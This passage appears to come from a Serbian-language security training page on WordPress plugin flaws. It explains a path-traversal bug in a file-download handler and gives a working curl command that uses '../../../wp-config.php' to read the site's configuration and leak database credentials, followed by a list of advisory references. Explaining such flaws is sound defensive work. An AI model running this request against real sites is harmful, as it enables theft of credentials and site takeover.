echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` je kontrolisan od strane napadača i spojen **bez sanitizacije**. Opet, jedino ograničenje je **CSRF nonce** koji se može dobiti sa stranice rezimea.
#### Exploitation
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Server vraća sadržaj `wp-config.php`, leaking DB credentials i auth keys.
## References
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
- [Unpatched Privilege Escalation in Service Finder Bookings Plugin](https://patchstack.com/articles/unpatched-privilege-escalation-in-service-finder-bookings-plugin/)
- [Service Finder Bookings privilege escalation – Patchstack DB entry](https://patchstack.com/database/wordpress/plugin/sf-booking/vulnerability/wordpress-service-finder-booking-6-0-privilege-escalation-vulnerability)
{{#include ../../banners/hacktricks-training.md}}